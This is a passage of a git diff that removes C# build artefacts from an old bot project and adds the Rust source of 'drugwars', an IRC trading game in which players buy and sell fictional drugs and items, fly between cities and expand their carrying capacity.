diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt
@@ -1,24 +0,0 @@
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe.config
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.pdb
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.exe
-c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.pdb
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.exe
-C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
-D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
-D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe
-D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
-D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
-D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.exe
-D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
-C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe.config
-C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe
-C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.pdb
-C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
-C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.exe
-C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.pdb
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.exe b/c#/gskBot/gskBot/obj/Debug/gskBot.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.pdb b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb
Binary files differ.
diff --git a/irc/bots/drugwars/.gitignore b/irc/bots/drugwars/.gitignore
@@ -0,0 +1,2 @@
+/target
+/Cargo.lock
diff --git a/irc/bots/drugwars/Cargo.toml b/irc/bots/drugwars/Cargo.toml
@@ -0,0 +1,6 @@
+[workspace]
+
+members = [
+    "irc",
+    "drugwars"
+]
+\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/Cargo.toml b/irc/bots/drugwars/drugwars/Cargo.toml
@@ -0,0 +1,14 @@
+[package]
+name = "drugwars"
+author = "wrk"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+irc = { path = "../irc" }
+serde = { version = "1.0.163", features = ["derive"] }
+serde_yaml = "0.9.21"
+itertools = "0.10.5"
+rand = "0.8.5"
+rand_distr = "0.4.3"
+chrono = "0.4.24"
diff --git a/irc/bots/drugwars/drugwars/src/api.rs b/irc/bots/drugwars/drugwars/src/api.rs
@@ -0,0 +1,584 @@
+use crate::{drug_wars::DrugWars, dealer::Dealer, utils::{get_flight_price, capacity_price, pretty_print_money}};
+
+impl DrugWars {
+    pub fn register_dealer(&mut self, nick: &str) -> Vec<String> {
+        if self.dealers.contains_key(nick) {
+            return vec![format!(
+                "{}: you're already registered you bloot clot donkey",
+                nick
+            )];
+        }
+
+        self.dealers.insert(nick.to_owned(), Dealer::random(self));
+
+        let dealer = self.dealers.get(nick).unwrap();
+        let location = self.locations.get_mut(&dealer.location).unwrap();
+
+        location.blokes.insert(nick.to_owned());
+
+        vec![format!("{}: get rich or die tryin", nick)]
+    }
+
+
+    pub fn show_page_for_nick(&self, nick: &str) -> Vec<String> {
+        let Some(dealer) = self.get_dealer(nick) else {
+            return self.dealer_not_registered(nick);
+        };
+
+        let mut lines = vec![];
+
+        lines.append(&mut self.render_header(nick, dealer));
+        if dealer.max_width >= 110 {
+            lines.append(&mut self.render_drugs_dual_columns(dealer));
+            lines.append(&mut self.render_items_dual_columns(dealer));    
+        } else {
+            lines.append(&mut self.render_drugs(dealer));
+            lines.append(&mut self.render_items(dealer));
+        }
+
+        lines.append(&mut self.render_people(dealer));
+        lines.append(&mut self.render_command_list(dealer));
+
+        lines
+    }
+
+    pub fn set_dealer_max_width(&mut self, nick: &str, size: usize) -> Vec<String> {
+        let Some(dealer) = self.get_dealer_mut(nick) else { return vec![
+            format!("{}: You aren't playing yet you donkey", nick)
+        ]; };
+
+        dealer.max_width = size;
+        vec![
+            format!("{}: Changed your max width to {}", nick, size),
+            "Your max width is now:".to_owned(),
+            format!("├{}┤", "─".repeat(size - 2))
+        ]
+    }
+
+    pub fn buy_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
+        let drug_str = drug_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let matching_drugs = self
+            .drugs
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_drugs.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested drug", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
+        }
+
+        let (drug_name, _) = matching_drugs[0];
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        if !location.drug_market.contains_key(drug_name) {
+            return vec![format!(
+                "{}: There isn't any {} on the market today.",
+                nick,
+                drug_name
+            )];
+        }
+
+        if dealer.get_total_drugs_local() + amount > dealer.capacity {
+            return vec![
+                format!("{}: You don't have enough capacity", nick)
+            ]
+        }
+
+        let drug_at_market = location.drug_market.get(drug_name).unwrap();
+        if drug_at_market.supply < amount {
+            return vec![format!(
+                "{}: There isn't enough supply of {} today.",
+                nick,
+                drug_name
+            )];
+        }
+
+        let total_price = drug_at_market.price * amount as u128;
+
+        if total_price > dealer.money {
+            return vec![format!("{}: Not enough money you broke ass punk", nick)];
+        }
+
+        self._buy_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
+    }
+
+    pub fn sell_drug(&mut self, nick: &str, drug_str: &str, amount: usize) -> Vec<String> {
+        let drug_str = drug_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let matching_drugs = self
+            .drugs
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_drugs.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested drug", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
+        }
+
+        let (drug_name, _) = matching_drugs[0];
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        if !location.drug_market.contains_key(drug_name) {
+            return vec![format!(
+                "{}: There isn't any {} needed on the market today.",
+                nick,
+                drug_name
+            )];
+        }
+
+        let drug_at_market = location.drug_market.get(drug_name).unwrap();
+        if drug_at_market.demand < amount {
+            return vec![format!(
+                "{}: There isn't enough demand of {} today.",
+                nick,
+                drug_name
+            )];
+        }
+
+        let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
+
+        if !owned_drugs_local.contains_key(drug_name) {
+            return vec![format!(
+                "{}: You don't have any {} here.",
+                nick,
+                drug_name
+            )];
+        }
+
+        let owned_drug = owned_drugs_local.get(drug_name).unwrap();
+
+        if owned_drug.amount < amount {
+            return vec![format!(
+                "{}: You don't have enough {} to sell.",
+                nick,
+                drug_name
+            )];
+        }
+
+        self._sell_drug(nick, &drug_name.clone(), amount, drug_at_market.price)
+    }
+
+
+    pub fn buy_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
+        let item_str = item_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let matching_items = self
+            .items
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_items.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested item", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
+        }
+
+        let (item_name, _) = matching_items[0];
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        if !location.item_market.contains_key(item_name) {
+            return vec![format!(
+                "{}: There isn't any {} on the market today.",
+                nick,
+                item_name
+            )];
+        }
+
+        if dealer.get_total_items_local() + amount > dealer.capacity {
+            return vec![
+                format!("{}: You don't have enough capacity", nick)
+            ]
+        }
+
+        let item_at_market = location.item_market.get(item_name).unwrap();
+        if item_at_market.supply < amount {
+            return vec![format!(
+                "{}: There isn't enough supply of {} today.",
+                nick,
+                item_name
+            )];
+        }
+
+        let total_price = item_at_market.price * amount as u128;
+
+        if total_price > dealer.money {
+            return vec![format!("{}: Not enough money you broke ass punk", nick)];
+        }
+
+        self._buy_item(nick, &item_name.clone(), amount, item_at_market.price)
+    }
+
+    pub fn sell_item(&mut self, nick: &str, item_str: &str, amount: usize) -> Vec<String> {
+        let item_str = item_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let matching_items = self
+            .items
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_items.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested item", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
+        }
+
+        let (item_name, _) = matching_items[0];
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        if !location.item_market.contains_key(item_name) {
+            return vec![format!(
+                "{}: There isn't any {} needed on the market today.",
+                nick,
+                item_name
+            )];
+        }
+
+        let item_at_market = location.item_market.get(item_name).unwrap();
+        if item_at_market.demand < amount {
+            return vec![format!(
+                "{}: There isn't enough demand of {} today.",
+                nick,
+                item_name
+            )];
+        }
+
+        let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
+
+        if !owned_items_local.contains_key(item_name) {
+            return vec![format!(
+                "{}: You don't have any {} here.",
+                nick,
+                item_name
+            )];
+        }
+
+        let owned_item = owned_items_local.get(item_name).unwrap();
+
+        if owned_item.amount < amount {
+            return vec![format!(
+                "{}: You don't have enough {} to sell.",
+                nick,
+                item_name
+            )];
+        }
+
+        self._sell_item(nick, &item_name.clone(), amount, item_at_market.price)
+    }
+
+    pub fn give_money(&mut self, nick: &str, amount: f64, bloke_nick: &str) -> Vec<String> {
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let Some(_) = self.get_dealer(bloke_nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        let money = (amount * 10000.) as u128;
+
+        if dealer.money < money {
+            return vec![format!("{}: Not enough money you broke ass punk", nick)];   
+        }
+
+        self._give_money(nick, bloke_nick, money)
+        
+    }
+
+    pub fn give_drug(&mut self, nick: &str, drug_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
+        let drug_str = drug_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let Some(bloke) = self.get_dealer(bloke_nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if dealer.location != bloke.location {
+            return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
+        }
+
+        let matching_drugs = self
+            .drugs
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&drug_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_drugs.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested drug", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The drug you requested is too ambiguous.", nick)];
+        }
+
+        let (drug_name, _) = matching_drugs[0];
+
+        let owned_drugs_local = dealer.owned_drugs.get(&dealer.location).unwrap();
+
+        if !owned_drugs_local.contains_key(drug_name) {
+            return vec![format!(
+                "{}: You don't have any {} here.",
+                nick,
+                drug_name
+            )];
+        }
+
+        let owned_drug = owned_drugs_local.get(drug_name).unwrap();
+
+        if owned_drug.amount < amount {
+            return vec![format!(
+                "{}: You don't have enough {} to sell.",
+                nick,
+                drug_name
+            )];
+        }
+
+        if bloke.get_total_drugs_local() + amount > bloke.capacity {
+            return vec![format!(
+                "{}: {} don't have enough capacity",
+                nick,
+                bloke_nick
+            )];
+        }
+
+        self._give_drug(nick, bloke_nick, &drug_name.clone(), amount)
+
+    }
+
+    pub fn give_item(&mut self, nick: &str, item_str: &str, amount: usize, bloke_nick: &str) -> Vec<String> {
+        let item_str = item_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let Some(bloke) = self.get_dealer(bloke_nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if dealer.location != bloke.location {
+            return vec![format!("{}: {} is not in {} currently.", nick, bloke_nick, dealer.location)];
+        }
+
+        let matching_items = self
+            .items
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&item_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_items.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested item", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The item you requested is too ambiguous.", nick)];
+        }
+
+        let (item_name, _) = matching_items[0];
+
+        let owned_items_local = dealer.owned_items.get(&dealer.location).unwrap();
+
+        if !owned_items_local.contains_key(item_name) {
+            return vec![format!(
+                "{}: You don't have any {} here.",
+                nick,
+                item_name
+            )];
+        }
+
+        let owned_item = owned_items_local.get(item_name).unwrap();
+
+        if owned_item.amount < amount {
+            return vec![format!(
+                "{}: You don't have enough {} to sell.",
+                nick,
+                item_name
+            )];
+        }
+
+        if bloke.get_total_items_local() + amount > bloke.capacity {
+            return vec![format!(
+                "{}: {} don't have enough capacity",
+                nick,
+                bloke_nick
+            )];
+        }
+
+        self._give_item(nick, bloke_nick, &item_name.clone(), amount)
+    }
+
+    pub fn check_flight_prices(&self, nick: &str) -> Vec<String> {
+
+        let Some(dealer) = self.get_dealer(nick) else {
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let mut lines = vec![];
+        lines.push(format!("{}: Here are the flight prices:", nick));
+
+        lines.append(&mut self.prices_from(&dealer.location));
+
+        lines
+    }
+
+    pub fn fly_to(&mut self, nick: &str, destination_str: &str) -> Vec<String> {
+
+        let destination_str = destination_str.to_lowercase();
+
+        let Some(dealer) = self.get_dealer(nick) else { 
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let matching_destinations = self
+            .locations
+            .iter()
+            .filter(|(name, _)| name.to_lowercase().contains(&destination_str))
+            .collect::<Vec<_>>();
+
+        let len = matching_destinations.len();
+
+        if len < 1 {
+            return vec![format!("{}: Couldn't find your requested destination", nick)];
+        }
+        if len > 1 {
+            return vec![format!("{}: The destination you requested is too ambiguous.", nick)];
+        }
+
+        let current_location = self.locations.get(&dealer.location).unwrap();
+
+        let (destination_name, destination) = matching_destinations[0];
+
+        let price = get_flight_price(current_location, destination);
+
+        if dealer.money < price {
+            return vec![format!("{}: Not enough money you broke ass punk", nick)];
+        }
+
+
+        self._fly_to(nick, &destination_name.clone())
+    }
+
+    pub fn check_capacity_price(&mut self, nick: &str, amount: usize) -> Vec<String> {
+        let Some(dealer) = self.get_dealer(nick) else {
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let Some(price) = capacity_price(dealer.capacity, amount) else {
+            return vec![
+                format!("{}: You won't ever need that much capacity. Will you?", nick)
+            ];
+        };
+
+        return vec![
+            format!("{}: It will cost you {} to buy {} slots", nick, pretty_print_money(price), amount)
+        ]
+
+    }
+
+    pub fn buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
+        
+        let Some(dealer) = self.get_dealer(nick) else {
+            return self.dealer_not_registered(nick);
+        };
+
+        if !dealer.available() {
+            return self.dealer_not_available(nick);
+        }
+
+        let Some(price) = capacity_price(dealer.capacity, amount) else {
+            return vec![
+                format!("{}: You won't ever need that much capacity. Will you?", nick)
+            ];
+        };
+
+        if dealer.money < price {
+            return vec![format!("{}: Not enough money you broke ass punk", nick)];
+        }
+
+        self._buy_capacity(nick, amount)
+    }
+
+}
diff --git a/irc/bots/drugwars/drugwars/src/config.rs b/irc/bots/drugwars/drugwars/src/config.rs
@@ -0,0 +1,24 @@
+use std::{fs::File, io::Read};
+
+use serde::Deserialize;
+use serde_yaml::{Mapping, Sequence};
+
+#[derive(Deserialize)]
+pub struct DrugWarsConfig {
+    pub settings: Mapping,
+    pub locations: Sequence,
+    pub drugs: Sequence,
+    pub items: Mapping,
+    pub messages: Mapping,
+}
+
+impl DrugWarsConfig {
+    pub fn from_file(path: &str) -> std::io::Result<Self> {
+        let mut file = File::open(path)?;
+        let mut contents = String::new();
+        file.read_to_string(&mut contents)?;
+
+        let config: DrugWarsConfig = serde_yaml::from_str(&contents).unwrap();
+        Ok(config)
+    }
+}
diff --git a/irc/bots/drugwars/drugwars/src/dealer.rs b/irc/bots/drugwars/drugwars/src/dealer.rs
@@ -0,0 +1,175 @@
+use std::collections::HashMap;
+
+use rand::seq::IteratorRandom;
+
+use crate::{
+    definitions::{DealerStatus, OwnedDrug, OwnedItem},
+    drug_wars::DrugWars,
+};
+
+pub struct Dealer {
+    pub money: u128,
+    pub location: String,
+    pub capacity: usize,
+    pub owned_drugs: HashMap<String, HashMap<String, OwnedDrug>>,
+    pub owned_items: HashMap<String, HashMap<String, OwnedItem>>,
+    pub max_width: usize,
+    pub status: DealerStatus,
+}
+
+impl Dealer {
+    pub fn random(drug_wars: &DrugWars) -> Self {
+        let mut rng = rand::thread_rng();
+
+        let mut owned_drugs = HashMap::default();
+        let mut owned_items = HashMap::default();
+
+        for (name, _) in &drug_wars.locations {
+            owned_drugs.insert(name.clone(), HashMap::default());
+            owned_items.insert(name.clone(), HashMap::default());
+        }
+
+        let location_name = drug_wars.locations.keys().choose(&mut rng).unwrap();
+
+        Self {
+            money: 100000000000,
+            location: location_name.clone(),
+            capacity: 10,
+            owned_drugs,
+            owned_items,
+            max_width: 110,
+            status: DealerStatus::Available,
+        }
+    }
+
+    pub fn available(&self) -> bool {
+        self.status == DealerStatus::Available
+    }
+
+    pub fn get_local_drugs(&self) -> &HashMap<String, OwnedDrug> {
+        self.owned_drugs.get(&self.location).unwrap()
+    }
+
+    pub fn get_local_items(&self) -> &HashMap<String, OwnedItem> {
+        self.owned_items.get(&self.location).unwrap()
+    }
+
+    pub fn get_total_drugs_local(&self) -> usize {
+        self.get_total_drugs_at(&self.location)
+    }
+
+    pub fn get_total_drugs_at(&self, location: &str) -> usize {
+        self.owned_drugs
+            .get(location)
+            .unwrap()
+            .iter()
+            .map(|(_, drug)| drug.amount)
+            .sum()
+    }
+
+    pub fn get_total_items_local(&self) -> usize {
+        self.get_total_items_at(&self.location)
+    }
+
+    pub fn get_total_items_at(&self, location: &str) -> usize {
+        self.owned_items
+            .get(location)
+            .unwrap()
+            .iter()
+            .map(|(_, drug)| drug.amount)
+            .sum()
+    }
+
+    pub fn print_status(&self) -> &str {
+        match self.status {
+            DealerStatus::Available => "Available",
+            DealerStatus::Flying => "Flying",
+        }
+    }
+
+    pub fn add_drug_local(&mut self, drug_name: &str, amount: usize, bought_at: u128) {
+        let location = self.location.clone();
+        self.add_drug_at(&location, drug_name, amount, bought_at)
+    }
+
+    pub fn add_drug_at(&mut self, location: &str, drug_name: &str, amount: usize, bought_at: u128) {
+        let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
+
+        let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
+            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
+            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
+                amount: 0,
+                bought_at: 0,
+            }),
+        };
+
+        let average_price = (owned_drug.amount as u128 * owned_drug.bought_at
+            + amount as u128 * bought_at)
+            / (owned_drug.amount as u128 + amount as u128);
+
+        owned_drug.amount += amount;
+        owned_drug.bought_at = average_price;
+    }
+
+    pub fn sub_drug_local(&mut self, drug_name: &str, amount: usize) {
+        let location = self.location.clone();
+        self.sub_drug_at(&location, drug_name, amount);
+    }
+
+    pub fn sub_drug_at(&mut self, location: &str, drug_name: &str, amount: usize) {
+        let owned_drugs = self.owned_drugs.get_mut(location).unwrap();
+
+        let owned_drug = match owned_drugs.entry(drug_name.to_owned()) {
+            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
+            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedDrug {
+                amount: 0,
+                bought_at: 0,
+            }),
+        };
+
+        owned_drug.amount -= amount;
+    }
+
+    pub fn add_item_local(&mut self, item_name: &str, amount: usize, bought_at: u128) {
+        let location = self.location.clone();
+        self.add_item_at(&location, item_name, amount, bought_at)
+    }
+
+    pub fn add_item_at(&mut self, location: &str, item_name: &str, amount: usize, bought_at: u128) {
+        let owned_items = self.owned_items.get_mut(location).unwrap();
+
+        let owned_item = match owned_items.entry(item_name.to_owned()) {
+            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
+            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
+                amount: 0,
+                bought_at: 0,
+            }),
+        };
+
+        let average_price = (owned_item.amount as u128 * owned_item.bought_at
+            + amount as u128 * bought_at)
+            / (owned_item.amount as u128 + amount as u128);
+
+        owned_item.amount += amount;
+        owned_item.bought_at = average_price;
+    }
+
+    pub fn sub_item_local(&mut self, item_name: &str, amount: usize) {
+        let location = self.location.clone();
+        self.sub_item_at(&location, item_name, amount);
+    }
+
+    pub fn sub_item_at(&mut self, location: &str, item_name: &str, amount: usize) {
+        let owned_items = self.owned_items.get_mut(location).unwrap();
+
+        let owned_item = match owned_items.entry(item_name.to_owned()) {
+            std::collections::hash_map::Entry::Occupied(o) => o.into_mut(),
+            std::collections::hash_map::Entry::Vacant(v) => v.insert(OwnedItem {
+                amount: 0,
+                bought_at: 0,
+            }),
+        };
+
+        owned_item.amount -= amount;
+    }
+}
diff --git a/irc/bots/drugwars/drugwars/src/definitions.rs b/irc/bots/drugwars/drugwars/src/definitions.rs
@@ -0,0 +1,103 @@
+use std::collections::{HashMap, HashSet};
+
+use chrono::NaiveDate;
+
+#[derive(Clone, Copy, Debug, Hash, PartialEq, Eq)]
+pub enum MessageKind {
+    RumorUpHere,
+    RumorDownHere,
+    RumorUpAt,
+    RumorDownAt,
+    Welcome,
+    PriceUp,
+    PriceUpEnd,
+    PriceDown,
+    PriceDownEnd,
+}
+
+#[derive(Clone, Copy)]
+pub struct Drug {
+    pub nominal_price: u128,
+}
+
+pub struct Weapon {
+    pub nominal_price: u128,
+    pub ammo: Option<String>,
+    pub damage: f32,
+}
+
+pub struct Ammo {
+    pub nominal_price: u128,
+}
+
+pub struct Armor {
+    pub nominal_price: u128,
+    pub block: f32,
+}
+
+pub struct NoScent {
+    pub nominal_price: u128,
+    pub capacity: usize,
+}
+
+pub enum Item {
+    Weapon(Weapon),
+    Ammo(Ammo),
+    Armor(Armor),
+    NoScent(NoScent),
+}
+
+impl Item {
+    pub fn nominal_price(&self) -> u128 {
+        match self {
+            Item::Weapon(w) => w.nominal_price,
+            Item::Ammo(am) => am.nominal_price,
+            Item::Armor(ar) => ar.nominal_price,
+            Item::NoScent(n) => n.nominal_price,
+        }
+    }
+}
+
+pub struct OwnedDrug {
+    pub amount: usize,
+    pub bought_at: u128,
+}
+
+pub struct MarketDrug {
+    pub supply: usize,
+    pub demand: usize,
+    pub price: u128,
+}
+
+pub struct OwnedItem {
+    pub amount: usize,
+    pub bought_at: u128,
+}
+
+pub struct MarketItem {
+    pub supply: usize,
+    pub demand: usize,
+    pub price: u128,
+}
+
+pub struct Location {
+    pub lat: f32,
+    pub long: f32,
+    pub drug_market: HashMap<String, MarketDrug>,
+    pub item_market: HashMap<String, MarketItem>,
+    pub messages: Vec<String>,
+    pub blokes: HashSet<String>,
+}
+
+pub struct Settings {
+    pub day_duration: u32,
+    pub current_day: NaiveDate,
+}
+
+
+
+#[derive(PartialEq, Eq)]
+pub enum DealerStatus {
+    Available,
+    Flying
+}
+\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/drug_wars.rs b/irc/bots/drugwars/drugwars/src/drug_wars.rs
@@ -0,0 +1,553 @@
+use std::{
+    collections::{HashMap, HashSet},
+    str::FromStr,
+    time::SystemTime,
+};
+
+use chrono::{Duration, NaiveDate};
+use irc::Irc;
+use rand::{Rng, RngCore};
+use rand_distr::{Distribution, Normal};
+
+use crate::{
+    config::DrugWarsConfig,
+    dealer::Dealer,
+    definitions::{
+        Ammo, Armor, DealerStatus, Drug, Item, Location, MarketDrug, MarketItem, MessageKind,
+        NoScent, Settings, Weapon,
+    },
+    utils::{capacity_price, get_flight_price, pretty_print_money},
+};
+
+pub struct DrugWars {
+    pub settings: Settings,
+    pub timer: SystemTime,
+    pub dealers: HashMap<String, Dealer>,
+    pub locations: HashMap<String, Location>,
+    pub flights: HashMap<String, String>,
+    pub drugs: HashMap<String, Drug>,
+    pub items: HashMap<String, Item>,
+    pub messages: HashMap<MessageKind, Vec<String>>,
+}
+
+impl From<DrugWarsConfig> for DrugWars {
+    fn from(config: DrugWarsConfig) -> Self {
+        let mut locations = HashMap::default();
+        let mut drugs = HashMap::default();
+        let mut items = HashMap::default();
+        let mut messages = HashMap::default();
+
+        for drug in config.drugs {
+            let name = drug.as_mapping().unwrap()["name"].as_str().unwrap();
+            let price = drug.as_mapping().unwrap()["price"].as_f64().unwrap();
+            drugs.insert(
+                name.to_owned(),
+                Drug {
+                    nominal_price: (price * 10000.) as u128,
+                },
+            );
+        }
+
+        let weapons = config.items["weapons"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|value| value.as_mapping().unwrap())
+            .collect::<Vec<_>>();
+
+        for weapon in weapons {
+            let name = weapon["name"].as_str().unwrap();
+            let price = weapon["price"].as_f64().unwrap();
+            let damage = weapon["damage"].as_f64().unwrap() as f32;
+
+            let mut ammo = None;
+
+            if weapon.contains_key("ammo") {
+                ammo = Some(weapon["ammo"].as_str().unwrap().to_owned())
+            }
+
+            items.insert(
+                name.to_owned(),
+                Item::Weapon(Weapon {
+                    nominal_price: (price * 10000.) as u128,
+                    ammo,
+                    damage,
+                }),
+            );
+        }
+
+        let ammos = config.items["ammos"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|value| value.as_mapping().unwrap())
+            .collect::<Vec<_>>();
+
+        for ammo in ammos {
+            let name = ammo["name"].as_str().unwrap();
+            let price = ammo["price"].as_f64().unwrap();
+
+            items.insert(
+                name.to_owned(),
+                Item::Ammo(Ammo {
+                    nominal_price: (price * 10000.) as u128,
+                }),
+            );
+        }
+
+        let armors = config.items["armors"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|value| value.as_mapping().unwrap())
+            .collect::<Vec<_>>();
+
+        for armor in armors {
+            let name = armor["name"].as_str().unwrap();
+            let price = armor["price"].as_f64().unwrap();
+            let block = armor["block"].as_f64().unwrap() as f32;
+
+            items.insert(
+                name.to_owned(),
+                Item::Armor(Armor {
+                    nominal_price: (price * 10000.) as u128,
+                    block,
+                }),
+            );
+        }
+
+        let no_scents = config.items["no_scents"]
+            .as_sequence()
+            .unwrap()
+            .iter()
+            .map(|value| value.as_mapping().unwrap())
+            .collect::<Vec<_>>();
+
+        for no_scent in no_scents {
+            let name = no_scent["name"].as_str().unwrap();
+            let price = no_scent["price"].as_f64().unwrap();
+            let capacity = no_scent["capacity"].as_u64().unwrap() as usize;
+
+            items.insert(
+                name.to_owned(),
+                Item::NoScent(NoScent {
+                    nominal_price: (price * 10000.) as u128,
+                    capacity,
+                }),
+            );
+        }
+
+        for location in config.locations {
+            let name = location.as_mapping().unwrap()["name"].as_str().unwrap();
+            let lat = location.as_mapping().unwrap()["position"]
+                .as_mapping()
+                .unwrap()["lat"]
+                .as_f64()
+                .unwrap() as f32;
+            let long = location.as_mapping().unwrap()["position"]
+                .as_mapping()
+                .unwrap()["long"]
+                .as_f64()
+                .unwrap() as f32;
+
+            locations.insert(
+                name.to_owned(),
+                Location {
+                    lat,
+                    long,
